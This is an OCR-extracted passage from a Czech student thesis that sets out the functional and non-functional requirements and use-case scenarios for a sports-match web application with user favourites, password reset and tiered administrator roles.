fizeni jako je GDPR nebo ISO 27001 — pro ochranu osobnich udajt.
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Systém musi umoZnit pridani/odebrani oblibeného tymu

e Po spesné registraci/ptihlaseni si mize uzivatel ulozit sviij oblibeny tym do svého
profilu, muze si tak pridat sva oblibend muzstva. Tyto muzstva nalezne v zalozce

,,Oblibené*.

e Pokazdém prihlaseni, tak bude danému uzivateli poskytnuty nahoie v nabidce vSech

zapasu jeho oblibené tymy, které si do profilu ulozil.
e PiihlaSeny uzivatel si mize své oblibené tymy modifikovat podle potieby, systém
tak umozni 1 odebrani jiz ptidaného tymu.
Systém musi umoZnit pridani/odebrani oblibené ligy

e Po Gspédné registraci/pfihlaseni bude mit uZivatel moznost uloZeni oblibenych lig do

svého profilu. Oblibené ligy najde v zélozce ,,Oblibené*.

e Pii prihlaseni tak budou uZivateli mezi prvnimi v nabidce zapast zobrazeny jeho ob-

libené ligy.

e PiihlaSeny uzivatel bude mit moznost i odebrani lig, které si ptidal do oblibenych.

Systém musi umoznit pridani/odebrani oblibeného hrace

e Po uspésném piihlaseni Ci registraci si uzivatel mize pridat své oblibené hrace, které

nalezne v zalozce ,,Moji hraci”.

e V zélozce ,,Moji hraci” tak budou zobrazeny jména oblibenych hraca, pod kterymi

budou vypsany nasledujici utkani, kterych se jednotlivy hra¢ zacastni.

e Systém bude obsahovat i moznost pro odebrani jiz ptidaného hrace.

Systém musi umoZnit zménu udaji uZivatele

e Systém bude umoznovat zménu ptihlaSovacich tidaji uZivatele, jako miiZze byt zména
ptihlasovaciho jména, pokud jiz neni obsazeno, nebo zménu hesla — to musi plnit

rizna bezpecnostni kritéria pro tvorbu bezpecného hesla.

e PiihlaSeny uzivatel bude mit k dispozici nastaveni svého profilu, ktery si miize vypl-

nit.
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Systém musi umoZnit volbu zapomenutého hesla

e Piinetspésném prihlaseni, ¢i zapomenutém heslu bude v aplikaci moznost volba za-
pomenutého hesla, kde si uzivatel v ptipadé zapomenutého hesla bude schopen za-
zadat o nové vygenerované heslo, které mu bude zaslano pomoci emailové adresy,
na kterou je ucet registrovan. Systém nejdiive pozada uzivatele o zadani emailové
adresy, pokud bude zadana emailova adresa nalezena v systému, tak dojde k usp¢s-
nému odeslani emailu uzivateli. Resetovani hesla probéhne pomoci vygenerovaného
odkazu v odeslaném emailu, ptes ktery se uzivatel presmeéruje zpet do administrace
profilu a systém ho vybidne k zadani nového hesla. Nové heslo bude uZivatel zadavat

dvakrat po sob¢, pro ujasnéni spravnosti.

4.1.3 Sprava aplikace

Spréava aplikace je balicek funkcnich poZzadavki, které poskytuji obsluhu cele apli-
kace. Administrator bude moci editovat jednotlivé tymy, hrace ¢i informace o zapasech.

Y

Administratorské ucty tvoii nezbytnou soucast pro spravu celé aplikace. Nejzasadné;j-
Sim pozadavkem pro administratorské Ucty je editace dat celé aplikace. Nejvyssi roli u ad-
ministratorskych uctu bude plnit super administrator, ktery bude mit pfistup ke vSem dattiim
a bude rozdélovat prava pro administratory. Dulezitost administratorské této role bude zahr-
novat editaci tyma, hracu, lig 1 zépast. V systému také bude umoznéno vytvareni dalsi ad-
ministratorskych ucta podle jejich roli. Administratorsky ucet také disponuje pozadavkem
pro ptidani nového sportu do aplikace. Uéty administratort budou zahrnovat riizné role, ty
budou rozvrzeny podle umisténi jednotlivého administratora v systému — to znamena, ze
administrator pro editaci vysledku zépasti bud mit pouze ta prava, ktera jsou nezbytna k pro-

vedeni jeho vyhrazenému pracovnimu ukonu.

Systém musi umoznit editaci zapasi

¢ Administrator urceny k editaci zapasit bude moci upravovat detailni informace z4-

pasu

e Administrator bude mit moZnost smazani, pfidani nebo upraveni zapasu. Pti téchto
volbach administratorem se zapas jen skryje a ¢eké se na schvéleni pozadavkl super

administratorem.
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Systém musi umoZznit editaci hraci
e Administrator pro editovani hra¢ti bude mit prava pro Gpravu celého profilu hraca.

e Administrator bude mit moznost modifikovani hract v systému. Pfi téchto volbach
poda pouze navrh super administratorovi, ktery musi navrh administratora schvalit.
Az po schvaleni bude hra¢ ze systému opravdu pfidan nebo vymazan.
Systém musi umoznit editaci tymiu

e Administrator pro obsluhu tymut v systému bude moci upravovat sestavy, trenéry,

nazev tymu, nazev stadionu ¢i mésto které tym reprezentuje.
e Administrator bude mit moznost mazani a ptidavani tymd, tyto kroky budou realizo-
vany az po schvaleni super administratorem.
Systém musi umoZnit pridani nové sportu

e Super administrator bude mit moznost pfidat novy sport do systému

Systém musi umoznit editaci lig

e Administrator ur¢eny pro editaci lig bude moci upravovat jednotlivé ligy a prifazovat

je do ptislusnych zemi.
e Evropské/svétové soutéze budou zarazeny do zemé ,,Svet™.

e Mazani a piidavani lig administratorem bude uskute¢néno az po schvaleni super ad-

ministratorem.

Systém musim kontrolovat prava administratorii

e Systém bude kontrolovat prava administratorii, aby nedochazelo ke zneuziti prav —
na vSe bude dohlizet tym super administrator, kteti maji jednotlivé administratory na

starost.
e Kazdy administrator bude mit vyhrazend prava pro vykon jeho prace

e Systém tak zamitne pfistup administratorovi, ktery bude chtit zménit tdaje, ke kte-

rym nema piistup
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4.2 Nefunk¢ni pozadavky

Nefunk¢ni pozadavky popisuji jednotlivé pozadavky na systém z hlediska bezpec¢nosti,

dodrzovani legislativy, dostupnosti systému atd.

Nefunk¢ni pozadavky byly rozdéleny do deseti zakladnich balickt — spolehlivost a do-
drzovani, kompatibilita, bezpecnost, vykonnost, dostupnost, zotaveni, kapacita a Skalovatel-
nost, funkcionalita, udrzitelnost a pouzitelnost. Webova aplikace by tak méla spliovat fadu
narokll na systém, hlavné musi byt chranéna proti hrozbam, které jiz byly v této praci zmi-
nény v kapitole ¢.3. Dale je nutné, aby aplikace byla kompatibilni — tedy dostupna pro

vSechny potencionalni uzivatele.

custom Nefunkéni poZadavky aplikace /

Spolehlivost a dodriovénr

Kompatibilita

+ Mohilita
+ Responzivita

Zotaveni

+Cas na zotaveni

+ Frekvence zélohovani
+ Proces obnovy

+ Zalohy

+ DodrZovéni standardd
+ Schopnost systému vykonavat poZadované funkce za stanovenych podminek za uréitou dobu

Bezpetnost

+ Pihl&deni / pFistupové drovné

+ Sifrovana kamunikace

+ Systémova data zalohovana kafdou hodinu
+ Validace formulafa

Vykonnost

+ Cas dotazovani
+ Casy odezvy
+ Doba zpracovani

+Viechna data musi mit chréanéna

+ CRUD (irovné pro administratory

+ Zabezpeteni pfed hrozbami (dtokd na weboveé aplikace

Dostupnost

Kapacita a §kél0vate|n05t|

+ Hodiny operace
+ Pfipajeni k serveru

+ PoZadavek ristu
+ Propustnast

+ PoZadavky na heslo

Funkcionalita

+ UmoZneni resetovani hesla
+ Zasilani emaildi
+ Zobrazeni chybové hldsky

+ Udrihy + UloZigté

Pouiitelnost

+ pozadavky na internacionalizaci/lokalizaci
+ UZivatelské standardy

Udriitelnost

+ Normy kédovani
+ Technické konstrukéni standardy

Obrazek 20 — Nefunk¢ni poZzadavky
4.2.1 Spolehlivost a dodrZovani
Tyto nefunkéni pozadavky budou plnit legislativni prvky, zejména pro ochranu osob-
nich udaji. Ty budou slouZit, aby nedochazelo ke zvetejiiovani osobnich udaji uzivateli.
Dodrzovani standardii

e Systém bude ukladat osobni data uzivatelli, tudiZ je potieba aby spliloval nafizeni

v riznych zemi, v Evropskeé unii to je GDPR.
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e Systém bude také dodrzovat mezinarodné platny standard ISO/IEC 27001, ten defi-
nuje pozadavky na systém z hlediska zpracovavani osobnich udajt.
Schopnost systému vykondvat poZadované funkce za stanovenych podminek za uré. dobu

e Systém bude vykonavat pozadované funkce uzivatelem bez selhani po stanovenou

dobu.

e Systém bude schopen vykonavat a udrzovat funkce jak za béznych okolnosti, tak 1

za nepratelskych ¢i necekanych okolnosti.

4.2.2 Kompatibilita
Nefunkéni pozadavky z hlediska kompatibility plni roli pro uzivani aplikace na riznych
zafizenich. Je dileZité, aby aplikaci mohl vyuzivat kdokoliv a aplikace tak byla kompatibilni
se vSemi druhy zafizeni. Nesmi také chybé&t responzivita pro Sir$i spektrum zatizeni.
Responzivita
e Vzhled stranky se musi pfizplisobovat kazdému zafizeni, na kterém je sportovni apli-
kace pouzivana. Od mobilnich telefont az po desktopy.
Kompatibilni se vSemi druhy zaiizeni
e Aplikace musi byt pln¢€ funk¢ni na kazdém typu zatizeni, aby nebyla Zadna omezeni
vuci potenciondlnim uzivatelam.
4.2.3 Bezpecnost
Nefunk¢éni pozadavky z pohledu bezpecnosti urcuji kvalitu bezpecnosti celého systému.
PiihldSeni/Pristupové urovné
e Autentizace

e Autorizace uzivatele bude slouzit pro vyuzivani funkci — zejména ukladani predna-

stavenych dat do profilu.
e Administrator bude mit vyssi pfistupova prava.

e Super administrator bude spravovat a schvalovat poZzadavky administratort.
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Sifrovand komunikace
o Komunikace mezi uzivatelem a serverem bude Sifrovana, aby tak dochazelo k bez-
pecnému ukladani dat uzivatelem.
Systémova data zdalohovana kaZdou hodinu
e Data celého systému budou zélohovana po velmi kratkych frekvencich a kopie za-
lohy bude uloZena na bezpecné misto mimo lokalitu systému.
Validace formulaii

e Systém bude validovat veskeré vstupni formulafe v systému

VSechna data musi byt chranéna

e Vsechna data musi byt striktné chranéna a zabezpecena.

Zabezpeceni pred hrozbami utoku na webové aplikace
e Aplikace bude zabezpeCena pied utoky na webové aplikace, které jiz byli v préci
zminény v predchozi kapitole.
CRUD urovné pro administrdtory
e Administrator bude moci vytvaret, prohlizet, upravovat a mazat.

e Super administrator bude plnit hlavni roli v aplikaci.

PoZadavky na heslo
e Heslo bude splnovat zakladni kritéria pro tvorbu bezpe¢ného hesla (délka znakd, Cis-

lice, specialni znaky).

4.2.4 Vykonnost
Vykonnost definuje rychlost, kdy je obsah aplikace dodan uzivatelim.

Cas dotazovani

e Dotazy na databazi by mély zabrat mén¢ nezZ jednu vtefinu.
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Casy odezvy
e Pri pfimétfené rychlosti internetového piipojeni by mél systém reagovat na pozada-
vek uzivatelll za méné nez jednu vtefinu.
Doba zpracovini
e Rizné interakce se serverem, které vyzaduji zpracovani, coz miize byt naptiklad re-
gistrace €1 prihlaseni, by mély zabrat méné nez tfi vtefiny.
4.2.5 Zotaveni

Zotaveni je schopnost reagovat a piipravit se na neocekavané selhani systému.

Cas na zotaveni
e V pfipad¢ selhani systému by méla byt aplikace okamzité obnovena z posledni za-
lohy, takZe by systém nemél byt nefunk¢ni déle, nez je Cas posledni zélohy.
Frekvence zdalohovani

e Data aplikace budou zalohovany kazdych 5 minut.

Proces obnovy

e Aplikace bude schopna samovolné obnovy z posledni dostupné zalohy.

Zalohy

e Zalohy budou ukladany mimo lokaci aplikace, aby pii1 neocekavané poruse nedoslo

ke ztraté€ vSech dat.

e Aplikace bude zodpovidat za zalohovani dat tak, aby systém mohl byt obnoven do

funkéniho stavu za kratky casovy usek.

4.2.6 Dostupnost

Dostupnost je pomé&r €asu, po ktery je uZivatel schopny se pfipojit na server aplikace
a uzivatelé ji tak mohou pouZzivat.
Hodiny operace

e Aplikace by méla byt dostupna béhem hodin, kdy je nejvice vyzadovana.
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e Jakakoliv udrzba, pti které je potfeba vypnout cely systém by tak méla probihat
mimo hodiny, kdy je aplikace nejvice vyzadovana uzivateli.
Pripojeni k serveru
e Vyzadovano stabilni pfipojeni k serveru pro bezproblémovou funkénost aplikace.
Udriby
e Udrzby, pii kterych je potieba zajistit nedostupnost aplikace budou probihat kratce

po pulnoci nékolik dni v tydnu, aby tak tdrzba zabrala co nejmensi dobu a aplikace

tak mohla byt pro uzivatele dostupna.

4.2.7 Kapacita a Skalovatelnost

Kapacitou se rozumi mnozstvi prosttedk, které jsou poskytnuty systému a Skalovatel-

nost je schopnost systému takové zdroje rozsifovat a vyuzivat.

PoZadavek riistu
e Pii rostoucim uzivanim aplikace vice uzivateli bude potieba navysit dostupné ulo-
ZiSte.
Propustnost
e Aplikace by méla byt schopna zpracovat 1000 pozadavkl za minutu, s moznosti na-
vyseni pii rostouci poptavce.
UloZiste
e Aplikace musi ukladat data efektivné a predvidat cas, kdy bude ulozist¢ kompletné

zaplnéno.

4.2.8 Funkcionalita

Tato podkapitola popisuje ostatni dil¢i funkce, které jsou pro chod aplikace nezbytné.

Ty budou néasledovné popsany, jak je systémem zpracuje.

Umoznéni resetovani hesla

e UZivatel bude mit mozZnost resetovani hesla pfi zapomenuti jeho ptihlaSovacich

adaji.
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e Resetovani hesla probéhne jen tehdy, pokud uzivatel zada email, ktery je v systému

evidovan a patfi tak k né¢jakému uctu.

e Pokud bude emailova adresa v systému nalezena, tak systém automaticky zasle vy-

generovany odkaz, ptes ktery si uzivatel mtize zadat nové heslo.

Zasilani emailn

e Systém bude schopen zasilat emaily s vygenerovanym odkazem pro resetovani hesla.

Zobrazeni chybové hlasky
e Pii kazdé neocekdvané akci v systému bude uzivateli zobrazena chybovéa hlaska.

e Kazda chyba bude syst¢émem zaznamenéna, aby tak doslo k opravé.

4.2.9 Udrzitelnost

Udrzitelnost popisuje, jak je mozné systém udrzovat funkcni a jak jej 1ze v piipadé po-
treby zménit.
Normy kodovani

e Kod by mél byt sestaven modularné tak, aby nezavislé ¢asti systému vykonavaly

nezavislé ukoly.

e M¢cly by byt pouzity bézné styly kodovani.

Technické konstrukcéni standardy
e Pii konstrukci zakladni architektury by meély byt uzity pfijaté normy a navrhové
vZory.
4.2.10 Pouzitelnost
Pouzitelnost popisuje pozadavky uzivani aplikace uzivatelim vice narodnosti, tudiz
je nezbytné, aby aplikace plnila uzivatelské standardy dulezité pro jeji pouzivani.
PoZadavky na internacionalizaci/lokalizaci

e Lokalizace uZivatell je dilezita kvili jazyku, ve kterém se mé aplikace zobrazit.
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UZivatelské standardy

e Aplikace musi mit jednoduchy vzhled a uzivatel musi mit piijemny pocit z jejiho

pouzivani.
4.3 Use Case model

Po jiz zminéné funkcionalité systému je dilezité definovat, jak systém bude reagovat
na pozadavky uzivateld. Pro demonstraci chovani systému byl navrhnut model ptipada uziti,
ktery detailné popisuje proces vyuziti dil¢ich pozadavkil uZivatele na systém. Kazdy poza-
davek je krok po kroku popsan za uziti scénail, v néjakych ptipadech i alternativnich scé-

néfi. [30]

Model ptipadh uziti souvisi s pozadavky, kdy tento model konkrétné specifikuje, jak

budou jednotlivé pozadavky dosazeny.

aplikaci vystupuje 5 aktérii: Neregistrovany uzivatel, Registrovany uzivatel, Administrator,

Super administrator a Cas.

Na obrazku ¢.21 miizeme vidét znazornény diagram piipada uziti, kde jsou znazornény

jednotlivé funkce navrzené sportovni aplikace. Obrazek je k vidéni na dalsi stran€.
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Ut Use case model

Neregistrovany ufivatel

Registrovany ufivatel

Sportovni aplkace

administratora

wgxtends

uextend»
| UC16:Podle

Super administrator

Administrator

Obrazek 21 — Model piipadu uziti
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4.3.1 Scénar UCO01: Registrace uZivatele

Uzivatel ma moznost pro vyuzivani aplikace se vSemi funkcemi moznost vytvareni jeho
osobniho uctu, kde si miize aplikace prednastavit podle jeho pozadavku. Pti registraci bude
systém po uzivatelovi vyzadovat email nebo ptezdivku, to si uzivatel mize vybrat.

Kromé emailové adresy nebo prezdivky bude uzivatel zadavat také heslo.

Tabulka 2 — Scénat UCO1: Registrace uzivatele

Jméno scénare UCO1: Registrace uZivatele
Zxcastnéni aktéri Neregistrovany uzivatel
Hlavni scénar 1. Uzivatel ptejde do sekce ,,Registrace®.

2. Uzivatel vyplni email/ptezdivku, heslo do formu-

late a odesle formulaf s registraci.
3. Systém provede validaci dat formulare.

4. Systém vlozi uzivatele do databaze.

Vedlejsi scénare 3.1 Data byla zadana Spatné a systém vyzve uzivatele

k naprave, pokracuje se tedy krokem 2 hlavniho scénare.

Podminky pro dokonceni Dojde k vytvoteni uzivatelské t¢tu a uzivatel ma moznost

piihlaseni do aplikace.

4.3.2 Scénar UCO02: Prihlasit uzivatele

Ptihlaseni do aplikace bude mozné pomoci formulare, ktery uzivatel vyplni a poté
odesle. Pokud zada uzivatel své piihlasovaci tidaje spravné, tak dojde k prihlaseni, pokud
udaje zada Spatné, tak se objevi chybovéa hlaska, ktera bude obsahovat ndpovédu, ktera ¢ast

formuléfe byla zadana Spatné.

Tabulka 3 — Scénar UCO02: Prihlasit uzivatele

Jméno scénare UCO02: Ptihlésit uzivatele
Zncastnéni aktéri Registrovany uZivatel
Hlavni scénar 1. Uzivatel ptfejde do sekce ,,Registrace®.

2. Uzivatel vyplni pfihlasovaci tidaje a odesle formu-

laf s registraci.
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3. Systém provede validaci dat formulare.

4. Systém vlozi uzivatele do databaze.

Vedlejsi scénare

3.1 Data byla zadana Spatné. — systém vyzve uzivatele

k napravée a pokracuje krokem 2 hlavniho scénére.

Podminky pro dokon¢eni

Dojde k uspésné ovéteni identity uzivatele za pomoci uzi-
vatelského jména/emailové adresy a hesla. Uzivatel bude
thned pfesmérovan do hlavni nabidky zapast aktualniho

dne.

4.3.3 Scénar UCO03: Volba zapomenutého hesla

Pokud uzivatel zapomene své ptihlasovaci tidaje, tak bude mit moznost resetovani

svého hesla. Restovani prob&hne tak, ze pokud uzivatel zada sviij email, na ktery je ucet

registrovany, tak systém zaSle odkaz, pfes ktery si uzivatel miize zadat nové heslo.

Tabulka 4 — Scénai UC03: Volba zapomenutého hesla

Jméno scénare

UCO03: Volba zapomenutého hesla

Zacastnéni aktéri

Registrovany uzivatel

Hlavni scénar

1. Uzivatel ptejde do sekce ,,Zapomenuté heslo*.

2. Uzivatel vyplni formulaf s emailovou adresou, na

kterou ma uzivatel registrovany ucet, ktery odesle.
3. Systém provede validaci dat formulare.

4. Systém odesle vygenerovany odkaz prostiednic-

tvim emailu.
5. Uzivatel si mtze zadat nového heslo.
6. Systém validuje nové heslo.

7. Nové heslo bude ulozeno do databaze.

VedlejSi scénare

3.1 Email nebyl v systému nalezen. — systém nevykona
Zadnou akci. Scénaf pokracuje krokem ¢.2 hlavniho scé-

nare.
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6.1 Heslo nesplituje pozadavky — systém vyzve uzivatel
k znovu zadani nového hesla, tedy se pokracuje krokem 5

hlavniho scénéfe.

Podminky pro dokon¢eni

Uzivatel si vytvofi nové heslo pies zaslany odkaz na jeho

emailovou adresu.

4.3.4 Scénar UC04: Zména udaju uZivatele

Pokud dojde k tspésnému ptihlaseni, tak bude mit uzivatel k dispozici funkci prida-

vani oblibenych do svého profilu.

Tabulka 5 — Scénat UC04: Zména udajti uzivatele

Jméno scénare

UCO04: Zména udajt uzivatele

Zucastnéni aktéri

Registrovany uZivatel

Predpoklady

Uzivatel je piihlasen

Hlavni scénar

1. Uzivatel ptejde do sekce ,,upravit profil®.

2. Systém vyzve uzivatele k zadani hesla pro upravu

profilu.

3. Uzivatele vyplni formulaf, do kterého zada jeho

heslo.
4. Systém provede validaci dat formulare.
5. Uzivatel zada/ptepise osobni udaje v profilu.
6. Systém provede validaci dat.

7. Systém uloZi uzivatelovi tdaje do databaze.

VedlejSi scénare

4.1 Systém vypiSe chybovou hlasku: ,,Chybné zadané

heslo*.

6.1 Systém vypiSe chybovou hlasku s napovédou, ktery
udaj byl zadan Spatné.

Podminky pro dokonceni

Systém uloZi nové zadané tidaje uZivatelem.
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4.3.5 Scénar UCO05: Nabidka zapasi

Uzivatel, ktery se uspésné prihlasil si mize do profilu pfidavat oblibené tymy, ligy a hrace.

Tabulka 6 — Scénat UCO05: Nabidka zapast

Jméno scénare

UCO05: Nabidka zapasi

Zucastnéni aktéri

Registrovany uzivatel, neregistrovany uzivatel

Hlavni scénar

1. Uzivatel si zobrazi hlavni menu aplikace
2. Systém vypiSe dnes hrané fotbalové zapasy.

3. Uzivatel si mize prohlizet nabidku zapasi.

Vedlejsi scénare

2.1 Pokud je uZzivatel piihlaSen, tak systém zobrazi uZiva-
teliv oblibeny sport, u kterého ma uzivatel nastavené vy-

chozi zobrazeni.

Podminky pro dokonceni

Dojde k zobrazeni aktualné hranych zapasii uzivateli.

4.3.6 Scénar UC06: Vyhledavani zapasi

Uzivatel si mize pro snadnéjsi navigaci vyhledat sviij oblibeny tym, ligu, hrace nebo

naptiklad trenéra.

Tabulka 7 — Scénai UC06: Vyhledavani zapasi

Jméno scénare

UCO06: Vyhledavani zapastu

Zucastnéni aktéri

Registrovany uzivatel, neregistrovany uzivatel

Hlavni scénar

1. Uzivatel ptejde do sekce hledat.

2. Uzivatel vyplni formuldf s hledanym textem a

stisknuti tlacitka hledat tento formulat odesle.
3. Systém provede validaci formulare.

4. Systém zobrazi vyhledané vysledky, které uziva-

tel hledal.

VedlejSi scénare

3.1 Data byla zadana Spatn¢ nebo Zadné vysledky ne-
byly nalezeny, pfipad uziti pokracuje krokem 2

hlavniho scénéfre.
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Podminky pro dokonéeni

Systém zobrazi vysledna data, kterd uzivatel hledal.

4.3.7 Scénar UC07: Zobrazeni detailu zapasu

Uzivatel si mize zobrazit detail konkrétniho zapasu, ktery ma vypsan v nabidce za-

past. Pokud uzivatel bude ptihlasen do svého, tak bude umoznéna funkce pro pridani zapasi

do sekce ,,Oblibené*.

Tabulka 8 — Scénai UCO7: Zobrazeni detailu zapasu

Jméno scénare

UCO07: Zobrazeni detailu zapasu

Zucastnéni aktéri

Registrovany uZivatel, neregistrovany uZivatel

Hlavni scénar

1. Uzivatel vybere kliknutim urcity zapas v nabidce
zapasu.
2. Systém zobrazi podrobna data k vybranému za-

pasu.

3. Systém neumozni moznost piidani oblibeného za-

pasu do profilu pti zobrazeni vybraného zapasu.

Vedlejsi scénare

3.1 Systém poskytne moznost piidani oblibené¢ho za-
pasu do profilu pouzitim tlacitka za predpokladu,

ze je uzivatel prihlasen.

3.2 Uzivatel piida zépas do oblibenych stisknutim tla-

¢itka ,,Pridat zapas®.

3.3 Systém ulozi vybrany zépas do uzivatelova pro-

filu.

Podminky pro dokonceni

Systém zobrazi detail zapasu, ktery si uzivatel vybral. Po-
ptipadé systém zpracuje pozadavek piidani zépasu do

profilu.
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4.3.8 Scénar UC08: Zobrazeni zapasu konkrétniho sportu
Uzivatel si mize v aplikaci zobrazit zapasy z konkrétniho sportu

Tabulka 9 — Scénat UCO0S8: Zobrazeni zépast konkrétniho sportu

Jméno scénare Scénat UC08: Zobrazeni zapast konkrétniho sportu
Zxcastnéni aktéri Registrovany uzivatel, neregistrovany uzivatel
Hlavni scénar 1. Uzivatel vybere konkrétni sport v hlavni nabidce.

2. Systém zobrazi aktudlné hrané zapasy z vybra-

ného sportu.

3. Systém neumozni mozZnost piidani oblibeného
sportu do profilu pfi zobrazeni nabidky zapast da-

ného sportu.

Vedlejsi scénare 3.1 Systém poskytne moznost piidani oblibeného
sportu do profilu pouzitim tlacitka za ptedpo-
kladu, ze je uzivatel ptihlasen.

3.2 Uzivatel pifida konkrétni sport stisknutim tlacitka

,Pridat sport®.

3.3 Systém ulozi vybrany sport do profilu uzivatele.

Podminky pro dokonceni Systém zobrazi zapasy z dané¢ho sportu, ktery si uzivatel
vybral. Popiipad¢ systém zpracuje pozadavek ptidani

sportu do profilu.
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4.3.9 Scénar UC09: Zobrazeni jednotlivé ligy

Uzivatel si mize zobrazit informace z dané ligy, jako je naptiklad tabulka nebo zapasy

spojené s vybranou ligou.

Tabulka 10 — Scénat UC09: Zobrazeni jednotlivé ligy

Jméno scénare Scénat UC09: Zobrazeni jednotlivé ligy
Zxcastnéni aktéri Registrovany uzivatel, neregistrovany uzivatel
Hlavni scénar 1. Uzivatel vybere konkrétni ligu v sekci ,,Ligy*.

2. Systém zobrazi detailni informace z vybrané ligy.

3. Systém neumozni nepiihlaSenému uZzivateli moz-
nost ptidani oblibené ligy do profilu pii zobrazeni

nabidky zapasu jednotlivé ligy.

Vedlejsi scénare 3.1 Systém poskytne moznost piidani oblibeného
sportu pouzitim tlacitka za ptfedpokladu, ze je uzi-
vatel ptihlasen.

3.2 Uzivatel ptida ligu stisknuti tlaCitka ,,Ptidat ligu®.

3.3 Systém ulozi vybranou ligu do uzivatelova pro-

filu.

Podminky pro dokonceni Systém zobrazi detailni informace z ligy, kterou si uziva-
tel vybral. Poptipadé systém zpracuje pozadavek pridani

ligy do profilu.




UTB ve Zliné, Fakulta aplikované informatiky 61

4.3.10 Scénar UC10: Zobrazeni jednotlivého tymu
Uzivatel si mize zobrazit detailni informace u konkrétniho tymu.

Tabulka 11 — Scénar UC10: Zobrazeni jednotlivého tymu

Jméno scénare Scénat UC10: Zobrazeni jednotlivého tymu
Zxcastnéni aktéri Registrovany uzivatel, neregistrovany uzivatel
Hlavni scénar 1. UZivatel vybere konkrétni tym v sekci ,, Tymy*.

2. Systém zobrazi detailni informace z vybran¢ho
tymu.

3. Systém neumozni nepiihlaSenému uZzivateli moz-
nost pfidani oblibené tymu do profilu pfi zobra-

zeni nabidky zépast jednotlivé ligy.

Vedlejsi scénare 3.1 Systém poskytne moznost piidani oblibeného
tymu do profilu pouzitim tla¢itka za ptredpokladu,
ze je uzivatel ptihlasen.

3.2 Uzivatel ptidd ligu stisknutim tlacitka ,,Ptidat

(13

tym*.

3.3 Systém ulozi vybrany tym do uZzivatelova profilu.

Podminky pro dokonceni Systém zobrazi detailni informace jednotlivého tymu,
ktery si uzivatel vybral. Popiipad¢ systém zpracuje poza-

davek ptidani tymu do profilu.
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4.3.11 Scénar UC11: Zobrazeni jednotlivého hrace

Uzivatel ma moznost zobrazeni detailnich informaci jednotlivého hrace, mtze tak

vidét jeho statistiky ¢i vek.

Tabulka 12 — Scénar UCI11: Zobrazeni jednotlivého hrace

Jméno scénare Scénar UC11: Zobrazeni jednotlivého hrace

Zacastnéni aktéri Registrovany uzivatel, neregistrovany uzivatel

Hlavni scénar 1. Uzivatel vybere konkrétniho hrace v sekei ,,Sou-
piska tymu*.

2. Systém zobrazi detailni informace vybran¢ho
hrace.

3. Systém neumozni nepiihlaSenému uzivateli moz-
nost pfidani oblibeného hrace do profilu pfi zob-

razeni profilu jednotlivého hrace.

Vedlejsi scénare 3.1 Systém poskytne moznost piidani oblibeného
hrace do profilu pouzitim tlacitka za ptredpokladu,
ze je uzivatel ptihlasen.

3.2 Uzivatel piida hrace stisknutim tlacitka ,,Ptidat
hrace*.

3.3 Systém ulozi vybraného hrace do uzivatelova pro-

filu.

Podminky pro dokonceni Systém zobrazi detailni informace jednotlivého hréce,
kterého si uzivatel vybral. Poptipad¢ systém zpracuje po-

zadavek ptidani hrace do profilu.
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4.3.12 Scénar UC12 Zobrazeni zapasi podle poZadavki uZivatele

Uzivatel aplikace si mize specifikovat podle ¢eho si chce vypsat zapasy. Jednotlivé

kritéria si mize kombinovat do sebe. Muze si tak naptiklad vypsat zapas podle urcitého

datumu a zemé zaroven.

Tabulka 13 — Scénar UC12: Zobrazeni zapasu podle pozadavki uzivatele

Jméno scénare

Scénar UC12: Zobrazeni zapasu podle pozadavkl uziva-

tele

Zucastnéni aktéri

Registrovany uZivatel, neregistrovany uzZivatel

Hlavni scénar

1. Uzivatel ptejde do nabidky zapast

2. Systém zobrazi menu pro filtrovani zépast

Vedlejsi scénare

Podminky pro dokonceni

Systém zobrazi menu pro filtrovani zapast podle poza-

davku uzivatele.

4.3.13 Scénar UC13: Podle datumu

Uzivatel si maze zobrazit jednotlivé zapasy podle datumu

Tabulka 14 - Scénatf UC13: Podle datumu

Jméno scénare

Scénar UC13: Podle datumu

Zucastnéni aktéri

Registrovany uzivatel, neregistrovany uzivatel

Hlavni scénar

1. Uzivatel vybere urcity datum v navigaCnim menu

2. Systém zobrazi nabidku zapast podle vybraného

zéapasu

VedlejSi scénare

2.1 pokud neni zadny zapas z vybraného data, tak systém
vypise chybovou hlasku: ,,Zadny zapas nenalezen®. P¥i-

pad uziti pokracuje krokem 1 hlavniho scénafe.

Podminky pro dokonceni

Systém zobrazi zapasy podle vybraného datumu.
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4.3.14 Scénar UC14: Podle zemé

Uzivatel si mize v aplikaci vypsat zapasy podle zemé. Tyto zapasy budou vypsany

podle tymi, ve kterych zemich ptisobi.

Tabulka 15 - Scénar UC14: Podle zemé

Jméno scénare

Scénar UC14: Podle zemé

Zucastnéni aktéri

Registrovany uzivatel, neregistrovany uzivatel

Hlavni scénar

1. UZivatel vybere ur€itou zemi v navigaénim menu

2. Systém zobrazi nabidku zapast podle vybrané

zeme

Vedlejsi scénare

2.1 pokud neni zadny zapas z vybrané zemé, tak systém
vypise chybovou hlasku: ,,Zadny zapas nenalezen®. P¥i-

pad uziti pokracuje krokem 1 hlavniho scénare.

Podminky pro dokonceni

Systém zobrazi zapasy podle vybrané zem¢.

4.3.15 Scénar UC15: Podle trenéra

Uzivatel si muze v aplikaci vypsat zapasy podle trenéra. Zapasy budou vypsany

podle tymt (i mezindrodnich) ,ve kterych trenér piisobi.

Tabulka 16 - Scénaf UC15: Podle trenéra

Jméno scénare

Scénar UC15: Podle trenéra

Zucastnéni aktéri

Registrovany uzivatel, neregistrovany uzivatel

Hlavni scénar

1. Uzivatel vybere trenéra v sekci ,,Soupiska tymu*.
2. Systém zobrazi detailni profil trenéra

3. Systém vypiSe zapasy podle trenéra

VedlejSi scénare

Podminky pro dokonceni

Systém zobrazi zapasy podle vybraného trenéra.
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4.3.16 Scénar UC16: Podle stadionu

Uzivatel ma moznost vyfiltrovani zapasi podle stadionu. Muze si tak vypsat jak klubové

zapasy, tak i zapasy mezinarodni hrané na vybraném stadionu.

Tabulka 17 - Scénaf UC16: Podle stadionu

Jméno scénare

Scénai UC16: Podle stadionu

Zucastnéni aktéri

Registrovany uzivatel, neregistrovany uzivatel

Hlavni scénar

1. Uzivatel klikne na nazev stadionu v sekci ,,Detail

zapasu®.

2. Systém zobrazi zépasy hrané na vybraném stadi-

onu.

Vedlejsi scénare

Podminky pro dokonceni

Systém zobrazi zapasy podle vybraného stadionu.

4.3.17 Scénar UC17: Editace

Super administrator bude plnit hlavni roli v systému, bude upravovat jak role admi-

nistratort, tak bude schopen editovat data celé¢ho systému.

Tabulka 18 - Scénatr UC17: Editace

Jméno scénare

Scénar UC17: Editace

